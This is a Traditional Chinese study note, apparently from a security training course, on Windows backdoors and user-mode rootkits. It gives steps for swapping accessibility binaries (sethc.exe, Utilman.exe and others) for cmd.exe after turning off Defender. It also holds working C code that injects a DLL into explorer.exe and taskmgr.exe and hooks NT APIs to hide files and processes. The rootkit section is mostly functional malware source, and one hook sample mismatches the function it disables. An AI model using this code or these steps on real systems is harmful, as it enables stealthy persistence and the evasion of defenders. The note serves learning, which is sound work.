台灣好厲駭筆記 1st - Windows 後門 === [TOC] ###### tags: `zeze` # Windows 後門 * 測試環境: Windows10 ## Shift 五下 (成功) ### 簡介 Windows 內建功能,按五下 shift 會出現 enable Sticker key 的視窗,用來啟用sticker key 功能 ### 實作 1. 把 Windows Defender 的 Real-time protection 關掉,因為裡面的 Win32/AccessibilityEscalation 預設會擋 2. [改掉 Registry](https://zhuanlan.zhihu.com/p/98526538): 讓開啟 sethc.exe 這個動作實際上變成開啟 cmd.exe * [別人寫的腳本](https://github.com/szymon1118/logon_backdoor) ## Narrator (成功一半) ### 簡介 Windows 內建功能,會把你瀏覽的資訊唸出來 ### 實作 1. 把 Narrator 功能開啟,並且設定快捷鍵 2. 兩種方法 * [改掉 Provide Narrator Feedback 的 Registry](https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/): 不改掉整個 Narrator.exe,而是改掉其中的 Provide Narrator Feedback 功能,不過這招**沒成功**,無法在登錄介面使用 * 直接把 Narrator.exe 調包: 把 cmd.exe 改名成 Narrator.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改 ## Magnify (成功) ### 簡介 Windows 內建功能,可以將螢幕某區塊放大,方便查看 ### 實作 1. 把 cmd.exe 改名成 Magnify.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改 * 缺點: 登出、登入都會觸發這個 Magnify.exe,所以很容易被發現 ## On-Screen Keyboard (成功) ### 簡介 Windows 內建功能,可以叫出可以用滑鼠點擊的鍵盤 ### 實作 1. 把 osk.exe 改名成 Magnify.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改 ## Ease of Access (成功) ### 簡介 Windows 內建功能,可以叫出 Ease of Access 的選欄 ### 實作 1. 把 cmd.exe 改名成 Utilman.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改 ## High Contrast (成功) ### 簡介 Windows 內建功能,把所有東西反白 ### 實作 1. 把 cmd.exe 改名成 Sethc.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改 ## Filter key (沒找到資料) # Rootkit ## 簡介 入侵後維持權限的方法,分為 Kernel-mode 和 User-mode ## Kernel-mode Rootkit ### 簡介 在 Ring0(Kernel mode) 中執行的,利用 driver 並透過 SSDT(System Service Dispatch Table) hooking 讓惡意程式執行。在 32-bit 環境,可以透過修改 ZwTerminateProcess, ZwOpenProcess, ZwSuspendProcess, ZwAllocateVirtualMemory 的 SSDT 阻止 process 被修改;64-bit 環境中因為有 PatchGuard,所以透過 ObCallback 來實現相同效果。 ## User-mode Rootkit ### 簡介 在 Ring3(User mode) 中執行的,利用 DLL injection 將惡意程式注入現有的 Process。可以透過 IAT hooking 來阻止 process 被修改。權限比 Kernel mode 低,只能對針對的 process 有效果。 ### 實作流程 1. DLL injection 將 dll 植入 explorer.exe 2. hook 住 NtQueryFunction 3. 隱藏檔案 ### DLL injection 有參考[上星期的報告](https://hackmd.io/@bKM7OuRBQqmXcFRuw92pRQ/rkSRnDRPw) 並採用最普遍的注入方法,另一個參考資料是網路上找到的[WindowsXP 馬莉歐外掛](https://kknews.cc/zh-tw/code/gvjp83m.html) 1. 先找到目標 Process,有兩種方法 a. 可以用 FindWindow, GetWindowThreadProcessId 搜尋視窗的 Title 找到對應的 Process ```::C void getwindow() { hwnd = ::FindWindow(NULL, "<WINDOW TITLE>"); if (hwnd == NULL) MessageBox(NULL, "not found", "wrong", MB_OK); // 根據 handle 取出對應的 process id GetWindowThreadProcessId(hwnd, &processid); HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); if (hprocess == NULL) MessageBox(NULL, "open failed", "wrong", MB_OK); } ``` b. 使用 CreateToolhelp32Snapshot, Process32First, Process32Next 迴圈尋找執行的 exe 名稱 ```::C SIZE_T GetProcessIdByName(LPCTSTR pszExeFile){ SIZE_T nProcessID = 0; PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) }; // CreateToolhelp32Snapshot 對特定的 process 取 snapshot,TH32CS_SNAPALL 代表所有 process HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if (hSnapshot != INVALID_HANDLE_VALUE){ // Process32First 對 snapshot 取第一個 process,如果沒 process 可取就 return ERROR_NO_MORE_FILES if (Process32First(hSnapshot, &pe)){ // Process32Next 從 snapshot 取出下個 process while (Process32Next(hSnapshot, &pe)){ if (lstrcmpi(pszExeFile, pe.szExeFile) == 0){ nProcessID = pe.th32ProcessID; break; } } } CloseHandle(hSnapshot); } return nProcessID; } ``` 2. DLL injection 到目標 Process,用最樸實無華的 VirtualAllocEx, WriteProcessMemory, GetProcAddress, CreateRemoteThread ```::C void inject(HANDLE hprocess) { char dllname[70] = "injected.dll"; char loadfunc[25] = "LoadLibraryA"; int size = strlen(dllname) + 5; // VirtualAllocEx 讓系統分配一塊 memory 在 process 中,return 被分配到的空間 PVOID procdlladdr = ::VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE); if (procdlladdr == NULL) MessageBox(NULL, "allocation failed", "wrong", MB_OK); SIZE_T writenum; // WriteProcessMemory 將 buffer 寫入 process WriteProcessMemory(hprocess, procdlladdr, dllname, size, &writenum); // GetProcAddress 從 dll 取出 function 或 variable 的 address FARPROC loadfuncaddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), loadfunc); // CreateRemoteThread 開啟一個 thread 來跑一個 function,概念是利用 LoadLibraryA 來把我們的 dll 當作參數丟進去執行 HANDLE hthread = ::CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadfuncaddr, (LPVOID)procdlladdr, 0, NULL); WaitForSingleObject(hthread, INFINITE); CloseHandle(hthread); CloseHandle(hprocess); } ``` ### hook [MinHook 參考資料](https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra) 使用 MinHook 中的 MH_Initialize, MH_CreateHook, MH_EnableHook, MH_DisableHook, MH_Uninitialize,範例是 hook MessageBoxW ```::C int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) { // something after hooking } BOOL hook() { if (MH_Initialize() != MH_OK) { return 1; } // hook MessageBoxW,替換成 DetourMessageBoxW,最後要放原本的 MessageBoxW if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW, reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK) { return 1; } if (MH_EnableHook(&MessageBoxW) != MH_OK){ return 1; } MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK); if (MH_DisableHook(&NtQueryInformationFile) != MH_OK) { return 1; } MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK); if (MH_Uninitialize() != MH_OK) { return 1; } return 0; } ``` ### 隱藏檔案和 Process * [參考資料](https://github.com/XShar/simple_rootkit_for_windows_fork_r77) 1. hook 住 NTQueryDirectoryFile 和 NtQuerySystemInformation ```::C bool WINAPI DllMain(){ MH_CreateHookApi(L"ntdll.dll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, (PVOID*)&OriginalNtQuerySystemInformation); MH_CreateHookApi(L"ntdll.dll", "ZwQueryDirectoryFile", HookedZwQueryDirectoryFile, (PVOID*)&OriginalZwQueryDirectoryFile); MH_EnableHook(MH_ALL_HOOKS); ``` 2. 在調包的 NTQueryDirectoryFile 去略過目標檔案 * [_FILE_DIRECTORY_INFORMATION 的資料結構](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_file_directory_information) * [ZwQueryDirectoryFile 的原始用法](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-zwquerydirectoryfile) ```::C NTSTATUS Rootkit::HookedZwQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, PVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, PVOID fileInformation, ULONG length, FileInformationClassEx fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan){ NTSTATUS status = OriginalZwQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan); // 確認原始的 ZwQueryDirectoryFile 成功呼叫和確認 fileInformationClass 是定義好的其中一種 if (NT_SUCCESS(status) && (fileInformationClass == FileInformationClassEx::FileDirectoryInformation || fileInformationClass == FileInformationClassEx::FileFullDirectoryInformation || fileInformationClass == FileInformationClassEx::FileIdFullDirectoryInformation || fileInformationClass == FileInformationClassEx::FileBothDirectoryInformation || fileInformationClass == FileInformationClassEx::FileIdBothDirectoryInformation || fileInformationClass == FileInformationClassEx::FileNamesInformation)){ PVOID pCurrent = fileInformation; PVOID pPrevious = NULL; do{ // 檢查是不是要過濾的檔名 if (wstring(GetFileDirEntryFileName(pCurrent, fileInformationClass)).find(ROOTKIT_PREFIX) == 0){ // 確認有沒有下個檔案 if (GetFileNextEntryOffset(pCurrent, fileInformationClass) != 0){ // 把 address 去頭去尾,留下下一個 entry 的 buffer 長度 int delta = (ULONG)pCurrent - (ULONG)fileInformation; int bytes = (DWORD)length - delta - GetFileNextEntryOffset(pCurrent, fileInformationClass); RtlCopyMemory((PVOID)pCurrent, (PVOID)((char*)pCurrent + GetFileNextEntryOffset(pCurrent, fileInformationClass)), (DWORD)bytes); continue; } // 沒下個檔案的話就設 0 準備離開迴圈了 else{ if (pCurrent == fileInformation)status = 0; else SetFileNextEntryOffset(pPrevious, fileInformationClass, 0); break; } } pPrevious = pCurrent; pCurrent = (BYTE*)pCurrent + GetFileNextEntryOffset(pCurrent, fileInformationClass); } while (GetFileNextEntryOffset(pPrevious, fileInformationClass) != 0); } return status; } ``` 3. 在調包的 NtQuerySystemInformation 略過目標 process * [systemInformationClass 的資料結構](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/process.htm) * [NtQuerySystemInformation 的原始用法](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) ```::C NTSTATUS WINAPI Rootkit::HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, SystemProcessInformationEx *systemInformation, ULONG systemInformationLength, PULONG returnLength){ // 先把原本的結果抓下來,準備要改 NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, returnLength); // 確認原始的 NtQuerySystemInformation 成功呼叫和確認 systemInformationClass 是定義的那種 if (NT_SUCCESS(status) && systemInformationClass == SYSTEM_INFORMATION_CLASS::SystemProcessInformation){ SystemProcessInformationEx *pCurrent; SystemProcessInformationEx *pNext = systemInformation; do{ pCurrent = pNext; pNext = (SystemProcessInformationEx*)((PUCHAR)pCurrent + pCurrent->NextEntryOffset); // 確認 pNext 是不是要藏的 process,是的話就直接把 pCurrent 的 NextEntryOffset 加上要藏的 process 的 NextEntryOffset if (!_wcsnicmp(pNext->ImageName.Buffer, ROOTKIT_PREFIX, min(pNext->ImageName.Length, ROOTKIT_PREFIX_SIZE))){ if (pNext->NextEntryOffset == 0) pCurrent->NextEntryOffset = 0; else pCurrent->NextEntryOffset += pNext->NextEntryOffset; pNext = pCurrent; } } while (pCurrent->NextEntryOffset); } return status; } ``` 4. 最後用 DLL injection 將上面的 .dll 注入 explorer.exe 和 taskmgr.exe 就可以讓檔案和 process 消失 ## 其他 Reference [Rootkit 初認識](https://resources.infosecinstitute.com/topic/rootkits-user-mode-kernel-mode-part-1/) [Kernel-mode vs User-mode](https://malwaretips.com/threads/kernel-user-mode-rootkits.47121/) [Rootkit 概念與結構](https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108) [各種 rootkit 資源](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Rootkits.md) [DLL injection 實作](https://www.programmersought.com/article/5535905437/) [各種 DLL injection 方法](https://github.com/fdiskyou/injectAllTheThings) [更多 rootkit 用法](https://github.com/vmcall/latebros) [process hacker](https://github.com/processhacker/processhacker/tree/master/ProcessHacker/include) [rootkit repo 列表](https://github.com/d30sa1/RootKits-List-Download)